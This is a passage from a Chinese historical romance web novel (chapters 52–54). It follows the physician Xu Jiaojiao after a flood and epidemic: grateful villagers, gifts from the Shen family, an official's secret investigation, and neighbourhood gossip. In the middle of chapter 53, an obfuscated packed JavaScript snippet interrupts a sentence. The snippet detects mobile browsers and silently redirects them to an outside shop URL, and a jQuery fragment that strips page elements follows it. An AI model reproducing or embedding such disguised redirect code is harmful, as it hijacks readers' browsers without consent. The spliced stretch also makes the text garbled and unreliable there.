许娇娇动作一顿。沈府的态度……她一直拿不准。前些日子那些谣言,沈夫人虽未全信,可终究有了隔阂。如今她治好了沈谦,或许能缓和一些? “老夫人和夫人客气了。”她仔细打好结,“公子还需静养几日,切莫劳累。” 沈谦看着她低垂的侧脸。烛光映着她的轮廓,睫毛在眼下投出一小片阴影。她认真做事的时候,整个人都散发着一种沉静的光彩,与年龄不符的沉稳,却奇异地让人心安。 “许娘子,”他忽然开口,“等洪水退了,疫病过去了,你有什么打算?” 许娇娇抬起头,有些茫然:“打算?” “嗯。”沈谦笑了笑,“继续在张记坐诊?还是……有什么别的想法?” 许娇娇沉默片刻,摇摇头:“尚未想过那么远。眼下只想着救人,其他的……等灾情过去再说。” 沈谦的话音刚落,裴宴恰好从外面踱步进来。他显然听到了后半句,脚步在草棚入口处微不可查地一顿,面上却依旧是那副惯常的平静神色。 “你们在说什么,这么热闹?”裴宴的声音响起,不大,却让棚内原本略显轻松的气氛微微一凝。 许娇娇下意识地站直了身子,退开半步,垂首道:“裴安抚。” 沈谦倒仍是放松地靠着,见到表弟,脸上露出笑意:“宴弟,你来了。方才正说到许娘子,我在想,以许娘子的仁心与医术,长久留在张记生药铺坐诊,似乎有些屈才了。”他语气真诚,带着纯粹的欣赏。 裴宴已走到近前,目光先在沈谦包扎好的手臂上扫过,随即落在许娇娇低垂的侧脸上,最后才看向沈谦。他背着手,语气平淡无波:“此话怎讲?许娘子在张记生药铺行医济世,救治病患,何来屈才之说。”他顿了顿,声音里听不出什么情绪,却自有一股笃定,“悬壶济世,在乎本心,不在场所大小。只要心存仁术,便是在乡野间、在陋巷中,亦能救人于危难。此番疫病,不正是明证?” 他这话说得冠冕堂皇,挑不出错处,甚至颇有几分哲理。沈谦闻言,微微一怔,随即笑道:“宴弟此言有理,是我狭隘了。济世救人,确乎不在门户之见。只是……”他目光转向许娇娇,温声道,“我是觉得,许娘子这般人才,或可惠及更多人。譬如,若能得更多研习医术的机会,或是更广阔的施展空间,岂非更好?” 许娇娇听着两位郎君一来一往,心中有些无奈,又有些莫名的不自在。她不太习惯成为这种话题的中心,尤其是讨论她的前程。她轻轻吸了口气,抬头看向裴宴,语气恭敬而疏离:“裴安抚说的是,医者本分,在于治病救人。小女子在张记很好,能帮到需要的人,已是幸事。至于其他,小女子不敢奢求。” 她这话既是回应裴宴,也婉拒了沈谦话中隐含的提拔之意。 裴宴的目光在她脸上停留了一瞬,见她神色坦然,并无对沈谦提议的热切,心中那丝莫名的滞闷似乎稍散,但沈谦对她的格外关注仍让他有些不快。他转向沈谦,语气转淡:“表哥如今首要之事是安心养病,早日康复,外祖父他们方能放心。至于许娘子的前程,”他顿了顿,意有所指,“许娘子自有主张,旁人何必多虑。” 沈谦听出裴宴话中的一丝冷淡,只当他是关心自己身体,不愿自己多思劳神,便从善如流地笑道:“宴弟说得是,是我多话了。养病养病。”说着,又对许娇娇歉然道,“许娘子莫怪,沈某并无他意,只是感念娘子恩德,盼娘子能一切顺遂。” 许娇忙道:“沈公子言重了,小女明白。”她不想在此话题上纠缠,见沈谦伤口已处理好,便道,“公子按时服药,静养即可。小女还需去查看其他病患,先行告退。”说罢,向裴宴和沈谦各行一礼,拿起药箱,步履匆匆地离开了草棚。 52. 第52章 灾后 草棚内只剩下表兄弟二人。沈谦看着许娇娇离去的背影消失在门外,才收回目光,感慨道:“许娘子真是难得,不矜不伐,心志坚定。” 裴宴走到一旁,拿起桌上许娇娇留下的、写着服药注意事项的纸笺看了看,上面字迹清秀工整。他没有接沈谦的话茬,而是道:“你的气色比前两日好些了。外祖母已得知你患病,十分忧心,我已派人详细禀报你已转危为安,让他们安心。你痊愈之前,暂且留在此处静养,比回城东老宅人来人往更适宜。” “有劳宴弟周全。”沈谦道谢,随即想起一事,“对了,方才许娘子提到,疫情虽控,但水退之后,污秽遍地,恐生蝇虫,传播余毒。她建议组织人手,尽快清理淤泥,焚烧或深埋动物死尸,并在聚居处广泛撒些生石灰消毒。我觉得此法甚为紧要,宴弟看……” 裴宴听着,目光仍落在纸笺上,指尖无意识地摩挲了一下粗糙的纸边。“嗯,她考虑得周全。此事我会安排下去。”他放下纸笺,看向沈谦,“你好生休息,我再去别处看看。” 离开草棚,裴宴走在仁心堂略显凌乱的院落中。夕阳的余晖给残破的屋瓦和忙碌的人影镀上一层金边。他的目光掠过远处正在给孩童喂药的许娇娇,她侧着脸,神情专注柔和,与方才在他和沈谦面前那种谨慎守礼的模样,似乎有些不同。 长风悄无声息地跟上来,低声道:“郎主,孟知州请您回官船议事,关于灾后重建的章程……” “嗯。”裴宴收回目光,脸上恢复了惯常的冷峻,仿佛方才那一瞬间的走神从未发生。只是转身离去时,他的步伐比来时似乎更快了些,玄色氅衣的衣角在晚风中划出利落的弧度。 而在草棚里,沈谦透过缝隙望着许娇娇的身影,眼中闪过一丝决定。 这个女子,和他见过的所有女子都不同。不娇柔,不做作,不攀附,像一株在石缝中生长的野草,坚韧而顽强。 他对她产生了不该有的心思,这份心思,现在还不能说。但来日方长。 他缓缓躺下,闭上眼。药效上来了,困意涌来。在沉入梦乡前,他脑海里最后浮现的,是许娇娇那双清澈的眼眸。 一个多月后,笼罩菰城的阴霾终于得到控制。当最后一例新增霍乱病患在三日前绝迹时,仁心堂内,原本挤得满满当当的草棚病区,如今只剩下零星几个康复中仍需观察调养的人。死亡的阴影褪去,生的气息重新在这片饱受摧残的土地上顽强萌发。痊愈的灾民们,带着劫后余生的恍惚与对未来的渺茫期盼,陆续拖家带口,离开仁心堂这个临时的避难所,踏上归家之路。然而家园早已面目全非,断壁残垣,淤泥没膝,空气中弥漫着水退后特有的腥腐气味。重建家园,是另一场更为漫长艰辛的战斗。 沈尚书第,听松堂。 虽然府内低洼处仍有未退尽的积水,但主体建筑无损。此刻,花厅内气氛肃然。沈老侯爷沈渊端坐主位,虽年过花甲,鬓发斑白,但腰背挺直,目光矍铄。下首坐着几位沈氏族老,以及沈淑宁的的父亲沈明沈二老爷、沈谦的几个堂兄弟隔房的老爷等人。沈谦病体初愈,脸色还有些苍白,但也强撑着和堂兄弟们坐在末座。 “……情况大致如此。”沈明刚汇报完沈家各处田庄、铺面在此次水灾和疫病中的损失,数字触目惊心。“所幸人口伤亡不大,各庄子管事回报,佃户因疫病亡故者,已按之前商议,由府里出一份抚恤,连同官府的救助一并发放了。” 沈老太爷沉吟片刻,缓缓开口:“天灾无情,人须有道。我沈氏立足菰城百余年,受乡邻供奉,与地方休戚与共。此次大难,我沈家儿郎,”他目光赞许地看了一眼沈谦,“亦有挺身而出者,此乃家风。然灾后重建,更见担当。” 他顿了顿,声音沉稳有力:“传我的话下去,凡我沈家苕溪沿岸及受灾严重庄子的佃户,今年租子全免。家中房屋倒塌者,可凭里正保书,向各庄头支取木料、茅草,府里补贴一半费用。若有孤寡老弱无力重建者,着各庄头统计上报,由府里统一派人协助。此外,城中灾民安置、粥棚设点、秽物清理,府中需继续出钱出力,不可懈怠。” 一位族老捻须道:“老侯爷仁厚。只是今年租子全免,各处开销又大,府中银钱恐怕……” 沈明接道:“三叔公所虑甚是。但父亲所言乃是大义,亦是长远之计。佃户安居,方能乐业,来年方有收成。眼下虽紧些,可从公中拨一部分,各房再量力凑一些,总能度过。况且,”他看了一眼沈谦,“谦儿此次染疫,多亏仁心堂那位许娘子全力救治,方才转危为安。此事城中已有传闻,我沈家此时更应广施仁义,方能不负这份恩德与名声。” 提到许娇娇,沈谦垂下了眼睫,指尖无意识地摩挲着茶杯边缘。沈老侯爷看了孙子一眼,点了点头:“明儿说得对。恩要报,义要尽。谦儿,你既已大好,便多费心,协助你父亲打理这些灾后安置事宜,也当历练。” “孙儿遵命。”沈谦起身应道。 “堂弟,这次你可出风头了。”三房的一个堂哥用肩膀碰了碰沈谦,小声嘀咕。声音中透着酸气。“那位姓沈娘子当真有本事治疫病?怕不是仁心堂出了力,她白担了虚名吧!莫非仁心堂的那个赵药师和那个医女有什么勾连不成,我听说这女子名声不好,听说她是邢克之人,曾克死了双亲……” “沈辉,你……”沈谦大怒,刚要说点什么。沈辉的兄长开口了,语气严厉:“辉哥儿,还不闭嘴,文远也是你能置喙的。有能耐你怎么不去为百姓出点力……” “肃静,”沈老侯爷目光严厉的扫过众人,不许交头接耳,“那位救治谦儿、又在疫病中立下大功的许娘子,我沈家不可怠慢。待诸事稍定,需郑重酬谢。此事,老二媳妇去斟酌。” 几个堂兄弟挤眉弄眼的一番眉眼官司,沈辉暗恨。他是隔房的,什么事情也是嫡房这支说了算。可他心里不服气,凭什么。 议事又持续了约半个时辰,方才散去。沈谦随着二叔沈明走出花厅,沈明拍了拍侄儿的肩膀:“此次你受苦了,但也长了见识。你父亲前几日还来信问你的情况,得知你在疫情期间的所作所为,很是欣慰。” “劳父亲他老人家垂询,都是儿子应该做的。”沈谦谦逊的道。 与此同时,裴宴已经从临时处理公务的官船搬到了钦差行辕。书房内,气氛却是另一种凝重。 案头堆着厚厚的文书,皆是各地报上的灾情汇总、物资损耗、重建条陈。裴宴刚刚用印,命快马发出呈送京城的奏折。折子里详细陈述了菰城及周边灾情、疫病防治过程、当前困境,并恳请朝廷速拨钱粮以助重建。 他揉了揉眉心,连日不休的操劳让他眼下有了阴影。然而,比起明面上的灾后事宜,更让他心头沉重的,是袖中那份今晨才由皇帝亲信密使送达的密旨。 密旨内容很简单,却字字千钧:江南路贪污行贿一案,线索虽因水灾暂时中断,然国之蠹虫不可不除。着裴宴以巡查灾后重建、安抚地方为名,暗中继续调查江南路之事,搜集实证,密报京城。 裴宴看着密旨,指尖轻轻敲击着桌面。上回将查到的情况已经密报陛下,陛下当时未曾发声,只说让他暂且按下不动,这回的密旨着实有些突然。不过陛下的心思谁人敢揣测。 崔琰此人宦官出身,宋贵妃一党,朝中经营多年,在江南路更是混的如鱼得水,在此次救灾中也积极的很,调度粮草颇有章法。裴宴要不是上回着暗探连日监视,从崔琰的干儿子王兆仁身上发现了端倪,恐怕此人的把柄难以摸到。 上回截获的几笔来路不明的钱粮调度,要不是从王兆仁一个亲信幕僚的口中探得,恐怕裴宴要多费一番周折。还有和一些地方官员暧昧不明的勾连,这看似平静的江南官场之下,简直是铁板一块。 “大人。”长风无声入内,低声道,“孟知州在外求见,请示明日视察城南淤塞河道的安排。还有,沈府大公子派人送来帖子,言及沈老侯爷感念大人辛劳,欲在府中设宴,为大人及诸位同僚接风洗尘,兼表谢意。” 裴宴收起思绪,淡淡道:“ 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八月末,菰城基本恢复了原来的样貌。倒塌的屋舍多数已清理出空地,或搭起了简陋的新棚。淤泥被铲走,堆积在城外指定的地方晾晒、处置。街面上虽仍可见水渍浸染的斑驳痕迹和来不及修补的坑洼,但行人往来,商铺开门,市井的喧嚣与生机,如同遇春的野草,顽强地重新蔓生开来。连着数日的阳光明媚,驱散了积郁已久的潮气,虽天气还十分炎热,但比起酷夏那令人窒息的闷湿,已好了不少。至少,傍晚时分,当那轮白炽的太阳终于恋恋不舍地沉入西边残留着水光的天地线后,晚风便会带来一丝久违的、干燥的凉爽。 柳枝巷深处,许娇娇租住的小院,早已被静尘和静心收拾得干干净净、清清爽爽。洪水未曾直接灌入,但连月的潮气也让屋子里外蒙上了一层霉意。如今门窗洞开,被褥衣物尽数晾晒过,地面墙角仔细清扫擦拭,甚至还用艾草混合着苍术细细熏过,祛除最后的疫病残留气息。院子里,那丛劫后余生的月季,非但没有萎靡,反而因为静尘的精心照料,在这个秋日的早上,爆发出惊人的生命力,碗口大的花朵层层叠叠,深红、粉白、鹅黄交错,开得灿烂而热闹,几乎要压弯了枝条,香气馥郁却不腻人,随风飘散在小小的院落里。 旺财趴在廊檐下它专属的那个旧蒲草垫子旁,头枕着一条前腿,惬意地半眯着眼睛打盹。它也瘦了不少,肋骨隐约可见。疫情最紧张的那段日子,仁心堂人手紧缺,它竟也似通了人性,不再胡乱吠叫惊扰病人,有时还会安静地跟在许娇娇或静尘身后,帮忙看管一下晾晒的药材或衣物,虽然更多时候是在晒太阳,也算出了点力。如今回到安稳的老窝,它整只狗都透着一股松弛慵懒的满足感。 许娇娇坐在院子中央那棵老柳树下的石凳上,面前小石桌上摆着一壶静心刚沏好的、清热祛湿的野菊花茶,还有一小碟刘寡妇带来的、自家炒的南瓜子。她穿着一身半旧的浅青色夏布衣裙,头发只用一根木簪松松挽着,几缕碎发垂在颈边,脸上仍带着大病初愈般的淡淡倦色,但眼神已恢复了往日的清亮平静。连日的辛劳透支极大,回来这两日,她几乎都在昏睡和静养中度过,直到今日,才觉着松快了些。 刘寡妇就坐在她对面的一个小马扎上,穿着一身浆洗得发白的蓝布衫子,头发梳得一丝不苟,在脑后挽了个紧实的圆髻,鬓边簪着一朵小小的白色绒花。她手里慢悠悠地剥着南瓜子,瓜子壳清脆的碎裂声和她略带沙哑的嗓音交织在一起,充满了市井生活的烟火气。 “……所以说啊,这人哪,还得是命硬,经得起摔打。”刘寡妇吐出一片瓜子壳,咂咂嘴,“你看这次,多大的灾,多厉害的瘟,咱们这条巷子,不也全须全尾地过来了?老话说得好,大难不死,必有后福。娇杏你呀,这次积了大德了,菩萨都看在眼里呢!” 许娇娇抿了口菊花茶,微苦回甘,笑了笑:“刘婶可别这么说,都是大家齐心协力的结果。咱们能平安,就是最大的福气了。” 53. 第53章 小许大夫 “那是,那是。”刘寡妇连连点头,又拈起一粒南瓜子,“要我说呐……” 话音未落,院门忽然被“咚咚咚”地敲响了,声音不大,却带着几分急迫。 “谁呀?”静心从厨房窗口探出头,扬声问了一句。 许娇娇刚要起身,静心已麻利地擦了手快步走出:“娇杏你坐着,我去看看。” 门闩拉开,院门打开一道缝。静心看清门外景象,不由怔了怔,随即把门拉得更开些,回头唤道:“娇杏,是……是好多乡亲。” 许娇娇起身走到院中。只见门外密密站着十几个人,有男有女,有老有少,大多穿着打满补丁的粗布衣裳,面容被灾祸与疲惫刻下深深的痕迹,可一双双眼睛却亮得灼人,里面盛满了近乎虔诚的感激。他们手里都提着东西——竹篮里是小心盖着粗布的鸡蛋,小布袋鼓囊囊的或许是豆米,有人拎着一条用草绳串起的腌鱼,最前头一位头发花白的老汉,甚至局促地抱着一只被草绳缚了双脚、正扑腾着翅膀的老母鸡。 领头的老丈一见许娇娇,眼眶瞬间红了,颤巍巍地就要屈膝下拜:“小许大夫!可算找着您了!” “老人家使不得!”许娇娇急忙上前,双手虚扶,“快请起,各位乡亲快快请起,这如何使得?” 老丈被身后一个中年汉子稳稳托住,没能跪下去,身子却仍躬着,声音哽咽:“小许大夫,我们都是城西杏花巷、芦苇坝那边过来的。这次大水,家没了,人也病的病,倒的倒……要不是您和仁心堂的大夫们,我们这些老骨头,还有家里的小伢子,恐怕早就……早就填了沟壑了!” 他这一开口,身后的人群便像开了闸,七嘴八舌,倾诉着劫后余生的庆幸与感激: “是啊!我娘当时上吐下泻,眼瞅着就不成了,就是喝了您让喂的盐糖水,才吊住一口气,撑到吃药!” “我家囡囡发高热抽风,也是您给扎了几针才退下去!” “还有那布罩子和衣裳,您说能防病气,起初我们还嘀咕,后来瞧见真顶用,伺候病人的人倒下的少了!” “官府发粮发药是大恩,可没有您想的那些细致法子,不晓得要多死几多人!” 言辞恳切,目光真挚,那一张张被生活磨砺得粗糙的脸上,此刻焕发着发自内心的光。他们带来的物什或许寒微,却是灾后重建、家徒四壁之时,能掏出的最朴实、最厚重的心意。 许娇娇望着这一张张脸,听着这一句句滚烫的话,连日积累的疲惫,以及心底深处那缕因谣言而生的寒意,仿佛被这真挚温暖的洪流缓缓化开了。她鼻尖微酸,唇角却漾开柔和的笑意,声音清晰而坚定: “各位乡亲父老,快莫如此,真是折煞我了。”她示意静尘静心帮忙扶住几位年长者,“治病救人,本是医者本分。这次灾情能控制住,靠的是朝廷赈济及时,是孟大人、裴大人诸位官爷调度有力,是仁心堂赵药师和所有大夫伙计们拼命,更是咱们大家伙儿自己心齐,互相帮衬着挺过来的。我不过是尽了点微末之力,万万当不起大家这般谢。” 说着,她走到那抱着母鸡的老汉面前,轻轻接过那只惊慌扑腾的鸡,解了草绳,递还给老汉:“阿伯,这鸡您快拿回去,还能下蛋,给家里补身子要紧。”她又环视众人,温声道,“各位的心意,我实实在在地领受了。可这些粮食、鸡蛋,都是大家眼下安身立命、恢复元气最需要的东西,务必带回去。只要看到大家都平平安安,日子一天天好起来,就是给我最好的谢礼了。” 众人哪里肯依,执意要留下东西。一旁的刘寡妇早已抹起了眼泪,这时也帮着劝道:“各位老街坊,娇杏娘子说的是掏心窝子的话。你们的情分她记着了,如今大家都不宽裕,东西带回去,给老人孩子多添一口吃的,也是好的。娇杏这儿有我们这些邻居看着呢,断短不了什么,你们就放心吧!” 好一番推让,许娇娇态度坚决,最终只象征性地收下了一小袋红豆和七八个鸡蛋,又再三道谢,才将千恩万谢的乡亲们送出了门。 院门阖上,巷子里的喧嚷渐渐远去。静心提着那袋轻飘飘却沉甸甸的红豆和鸡蛋,眼圈也红了:“他们……真是太难了。” 许娇娇望着门板,轻轻“嗯”了一声。那些真挚的眼神,那些布满老茧的手,那些含着泪光的感激,深深烙在了她心底。这世间虽有冷箭谣言,有无情灾祸,可总也有这般质朴无华的善意与感恩,如同淤泥深处挣扎冒出的点点新绿,脆弱,却透着压不垮的韧性。 “红豆和鸡蛋收好,”她对静尘道,“晚些熬锅红豆粥,大家分着吃。这是乡亲们的心意,一丝一毫都不能糟蹋。” 刘寡妇拍着腿感叹:“瞧瞧!这才是真真的功德!外头那些烂舌根的,还敢胡吣什么妖女、晦气?我呸!让他们睁眼瞧瞧,啥叫人心所向!” 许娇娇只是微微一笑,没有接话。谣言或许永不会绝迹,但行得正,立得直,俯仰无愧,时光自会沉淀出真伪。 日头西斜,柳枝巷家家户户升起袅袅炊烟。小院的厨房里,红豆粥的香气渐渐弥漫开来。静心守着灶火,静尘归置着晾晒好的药材。许娇娇坐在堂屋窗下,借着天边最后一点余光,翻阅着从仁心堂带回的、关于南方疫症防治的医书,不时提笔记录。此番经历,让她深感自身所学尤有不足,尤其是应对大规模疫病的经验与系统方略,亟需钻研积累。 脚边的旺财忽然竖起耳朵,喉间发出低低的“呜”声。 几乎同时,院门外传来了敲门声,这次不疾不徐,只叩了三下,清晰而节制。 静尘放下药材,看向许娇娇。许娇娇合上书卷,心下微诧——这个时辰,会是谁? 静心已起身去应门。门开处,站着两个意料之外的人。 为首者是沈府大公子沈谦身边得用的长随沈安,许娇娇在仁心堂见过几面。他身后跟着个小厮,手里捧着个尺许见方的红木雕花匣子。 沈安一见许娇娇,立刻躬身长揖,礼数周全:“许娘子安好。小人奉我家大公子之命,特来拜谢娘子日前救命大恩。” 许娇娇忙侧身避过,还了半礼:“沈管事太客气了,沈郎君有心。快请里面坐。” “不敢叨扰娘子清静。”沈安笑容得体,摆手止步,“大公子吩咐,此乃一点微末心意,聊表谢忱,万望娘子笑纳。”说着示意小厮将匣子奉上。 匣盖开启,里面并非金银珠玉,而是整套上好的文房四宝:一支紫毫湖笔,莹润如玉;一方龙尾歙砚,纹理细腻;一锭漆烟古墨,幽香隐隐;外加一沓质地上乘的玉版宣。旁边还搁着一个青色锦囊。沈安解释道:“这囊中是五十两银子。大公子特意交代,知娘子品性高洁,必不喜俗物酬谢。此银并非谢仪,而是念及娘子此次救治灾民,损耗必多,自身清简,特备作日后行医济世、采买药材的本钱,略尽沈家心意。” 这番话情理兼备,措辞妥帖,既全了感激之情,又顾全了许娇娇的立场,连行医济世的名头都预备得妥当,让人难以推拒。尤其是那套文房,寓意深长。赠笔墨纸砚与一位曾被污为“妖女”的医者,无疑是种含蓄而有力的认可与尊重。 许娇娇沉吟片刻。沈家姿态摆得如此周全,若再坚辞,反显不近人情,亦令沈谦难做。她思量着开口:“沈郎君与老太爷、夫人厚爱,我实在愧不敢当。救治病患,本是医者本分。这套文房,我便厚颜收下,感念沈家高义。至于银两……”她顿了顿,“眼下确需添补些药材,便暂借二十两,余下三十两还请沈管事带回。待我手头宽裕,定当归还。沈府之邀,容我稍作整顿,必当亲往拜谢。” 沈安似早有所料,笑容未变,从善如流:“娘子心意,小人定当回禀。这银子您先用着,还不还的,来日方长。既如此,小人便不打扰娘子休息了。”言罢,再行一礼,带着小厮悄然离去。 院门再次关上。静心咋舌:“沈家果然是高门大户,行事真是周全。”说着一脸的与有荣焉,“我们娇杏就是厉害,看看,就连尚书府第都如此礼遇。” 静尘却面有忧色,看向许娇娇:“娇杏,沈家这般作为,恐怕……” “我晓得。”许娇娇轻声打断,目光落在那只红木匣上,“沈家感激是真,顺势而为也是真。经此一事,沈家若再因旧日谣言疏远我,反落人口实。如今这般,既酬了恩,又全了名,一举两得。”她伸手取出那支紫毫笔,笔杆温凉,触手生润,“至于沈大公子……”眼前掠过仁心堂草棚中那双温和专注的眼眸,她轻轻摇了摇头,将笔妥帖放回匣中,“且行且看吧。” 接下来几日,柳枝巷的这小院门前,着实热闹了一阵。携着心意上门致谢的乡邻络绎不绝,有衣衫褴褛、面色犹带病气的贫苦人家,也有穿戴整齐些、瞧着家境尚可的。许娇娇皆以同样的温和与坚定应对,将大部分馈赠婉言劝回,只偶尔收下些实在推却不得的瓜果菜蔬或零星吃食,从不沾银钱贵重之物。一来二去,巷里巷外都知晓了这位小许大夫的品性,敬佩之余,上门的人潮也渐渐稀落,日子复归平宁。 这一日,天气晴好,秋阳已褪了酷暑的燥烈,暖融融地洒在院子里。静尘和静心一早便相约着去了瓦市,说要添置些过秋的针头线脑,并看看有无便宜的布匹,给三人裁两身厚实些的秋衣。许娇娇乐得清静,搬了张小杌子坐在廊檐下,就着明亮的天光,仔细分拣、晾晒前几日从仁心堂带回的一些草药样本,对照医书,默默记诵着性状功效。 旺财趴在脚边打盹,肚皮随着呼吸轻轻起伏。巷子里偶有挑担的货郎吆喝声远远传来,更衬得小院一派静谧。 “娇杏娘子在家不?”熟悉的嗓音带着笑意在院门外响起,是刘寡妇。 许娇娇抬头应道:“在呢,刘婶快进来,门没闩。” 刘寡妇利落地推门进来,手里还牵着她的儿子阿虎。阿虎约莫七八岁年纪,虎头虎脑,因着前些日子灾情,也清减了些,但一双眼睛乌溜溜的,精神头很足。他有些腼腆地躲在母亲身后,探头探脑地朝许娇娇看。 “阿虎,叫人呀。”刘寡妇轻轻推了儿子一下。 “小许姐姐……”阿虎小声叫了一句,立刻又缩了回去。 许娇娇笑着应了,起身去屋里抓了一小把之前晒的、没什么药性的甜草根递给阿虎:“拿去含着玩,甜的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269255|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿虎眼睛一亮,看向母亲,见刘寡妇点头,才小心接过来,脆生生道:“谢谢小许姐姐!”然后便乖乖跑到一边,蹲在旺财附近,一边好奇地打量狗,一边慢慢嚼着草根。 刘寡妇自己熟门熟路地搬了个小马扎,在许娇娇旁边坐下,顺手拿起簸箕里的一把艾草帮着整理,嘴里也不闲着:“静尘和静心两位师父出门了?就你一个人在家,倒也清净。” “她们去瓦市了,我正好理理这些药材。”许娇娇手里不停,随口应着。 刘寡妇是个闲不住的,手里忙着,眼睛也没歇着,四下里打量了一下收拾得井井有条的小院,目光便不经意地飘向了隔壁墙头。她忽然压低了些声音,带着点邻里间分享秘密的神态,朝许娇娇这边凑近了些: “哎,娇杏,你平日忙,大概没留心。咱们巷子东头,靠近水井那块,两个月前不是搬来一户姓崔的人家?就那白墙黑瓦、门脸儿挺齐整的那户。” 许娇娇手上动作微缓,回想了一下。她这几个月不是忙着在张记坐诊,就是困于疫病之事,对巷子里的变化确实不甚留意,只恍惚记得是有户新搬来的人家,但未曾打过照面。 “好像有点印象,崔家?是做何营生的?”她顺着话头问。 “可不就是!”刘寡妇来了谈兴,手里的艾草杆子轻轻点着,“这家子人,说稀奇也不算太稀奇,说普通吧,又总觉得有点……不大一样。” 她顿了顿,见许娇娇抬眼看她,便继续道:“当家的是个四十来岁的汉子,姓崔,单名一个旺字,人看着倒是厚道模样,话不多,说是在城南的码头上做事,具体做些什么,也不大清楚。他家娘子罗氏,年纪看起来要小很多,模样十分周正,脾性看着也和气,平日深居简出的,不大与巷子里其他媳妇婆子们扎堆闲聊。他们有个闺女,叫崔婉儿,今年好像十三四了,生得十分水灵,快赶上娘子了。个子比娘子要矮那么一点,柳叶眉,杏仁眼,皮肤雪样的白,说话轻声细语,见了人也总是微微低着头,礼数周全得很。偶尔见她出门买菜或是浆洗衣裳,巷子里那些半大小子,眼睛都看直了。” 刘寡妇说着,自己先笑了起来,又摇摇头:“不过啊,这崔家搬来两个月,除了必要的招呼,跟左邻右舍走动得极少。崔家娘子偶尔在井边碰见,也就客气几句,从不深谈。崔家那闺女更是大门不出二门不迈的,比好些人家的小姐还讲究。他家还有个老婆子,据说是崔掌柜的远房姑母,来帮着料理家务的,也是不多言不多语的。” “许是人家喜静,或是初来乍到,还不熟悉。”许娇娇将挑好的药材放进另一个簸箕,语气平和。 “起初我们也这么想。”刘寡妇声音压得更低了些,带着点神秘,“可时间长了,总有些细枝末节让人琢磨。比如,他家虽不算大富大贵,但吃穿用度瞧着比一般掌柜人家要精细些。崔家娘子手腕上戴的那只银镯子,花样可不像本地常见的。还有一次,我偶然瞧见他家晾晒的衣裳里,有一件男子外衫的料子,那光泽、那纹理,绝不是普通绸缎庄伙计能穿得起的。再有……” 她左右看了看,确认院子里只有她们俩和阿虎,才悄声道:“有几回深夜,我好像听见隔壁有轻轻的、像是叩门的动静,还有压得极低的说话声,很快就没了。问过斜对门早起做豆腐的王老汉,他说也恍惚听到过一两次,还看见过有黑影匆匆从崔家后巷那边离开,看身形不像崔旺。” 许娇娇听到这里,分拣药材的手彻底停了下来。她抬起眼,看向刘寡妇:“刘婶的意思是……?” “我没什么意思,”刘寡妇连忙摆手,脸上也有些讪讪,“就是觉得有点蹊跷,跟你念叨念叨。许是我想多了,人家亲戚走动,或是崔旺那边有什么急事交代,也说不定。这崔家人平日待人接物倒没什么失礼的地方,崔旺见人总是笑呵呵的,崔家娘子前几日还送了我家阿虎两块新样的糕饼,说是老家捎来的。” 刘寡妇说着,自己又笑了起来:“瞧我,就是这张嘴闲不住,东家长西家短的。许娘子你可别往心里去,兴许就是普通一户老实本分的人家,是咱们巷子太久没搬来新邻居,大伙儿好奇罢了。” 许娇娇重新低下头,继续整理药材,长长的睫毛遮住了眼中的神色。她声音依旧平静:“邻里间多了解些也是常情。只要不妨碍他人,各过各的日子便是了。” 话虽如此,刘寡妇提及的几点不寻常之处,却像几颗小小的石子,轻轻投进了她原本平静的心湖,漾开几圈微不可查的涟漪。在这刚刚经历过动荡的菰城,在这看似平静的柳枝巷,一户低调得有些过分、背景似乎略有模糊的新邻居……是巧合,还是别有什么缘故? 她不禁想起远在水月庵的水仙姑和归平县的王大官人来,以及可能仍在暗中窥伺的麻烦。多一分留意,总不是坏事。 阳光静静地洒在院落里,晒得草药散发出混合的清香。阿虎和旺财不知何时玩到了一处,孩子轻轻摸着狗的脑袋,狗温顺地摇着尾巴。刘寡妇又开始絮絮地说起巷尾李家的母鸡最近不下蛋的趣事。 许娇娇听着,偶尔应和一声,心思却有一半飘了开去。 54. 第54章 撞见 八月的菰城,终于彻底从水患的阴影中挣脱出来。 洪水退尽的痕迹还随处可见——墙脚残留着深褐色的水线,街角堆积着未及运走的淤泥,几处坍塌的房屋废墟尚未清理完毕,空气中依旧飘散着一股若有若无的潮腐气味。但街上行人已恢复了往日的神态,小贩的吆喝声、孩童的嬉闹声、车马的辘辘声,重新交织成市井生活该有的喧嚣。只是仔细看去,每个人脸上或多或少都带着一丝劫后余生的疲惫,步履间也多了几分重建家园的沉重。 这日清早,许娇娇和静尘简单用了些清粥小菜,便收拾妥当,出了柳枝巷,往张记生药铺去。 一路行来,触目所及,皆是灾后重整的景象。临街的铺面大多已开门营业,有的门板上还残留着水渍浸出的斑驳霉点,掌柜伙计们正忙着将受了潮的货品搬出来晾晒。偶有几处坍塌严重的屋舍前,主人家正红着眼眶清理瓦砾,邻里们三三两两地帮着忙。 “昨日听刘大娘说,城南有几户人家,房子塌了,人也没了……”静尘低声叹道,声音里满是悲悯。 许娇娇沉默地点点头。她想起仁心堂那些逝去的面孔,心头依旧沉甸甸的。天灾无情,生命脆弱如草芥,纵有医术,能救回的终是有限。 转过两条街,张记生药铺的招牌便映入眼帘。 铺门大敞着,里头传来窸窸窣窣的动静。许娇娇迈步进去,眼前的景象让她心头一紧。 铺子里一片狼藉。靠墙的药柜东倒西歪,许多抽屉散落在地,里头原本分门别类码放整齐的药材,如今混作一团,浸泡过水后又被晾干,大多已辨不出原样,散发出混杂的、变了质的药味。地面虽已清扫过,仍能看到深深的水渍印痕。柜台被水泡得发胀变形,裂开了几道缝隙。原本悬在堂中的“妙手回春”匾额歪斜在墙角,一角已破损。 王氏正蹲在一堆晒着的药材旁,拿着簸箕仔细挑拣,听到脚步声,抬起头来。不过月余未见,她整个人瘦了一大圈,眼窝深陷,面色蜡黄,眼角还带着未干的泪痕。见到许娇娇和静尘,她忙站起身,扯出个勉强的笑容:“娇杏,静尘,你们来了。” “王婶。”许娇娇快步上前,握住她冰凉的手,“您受苦了。” 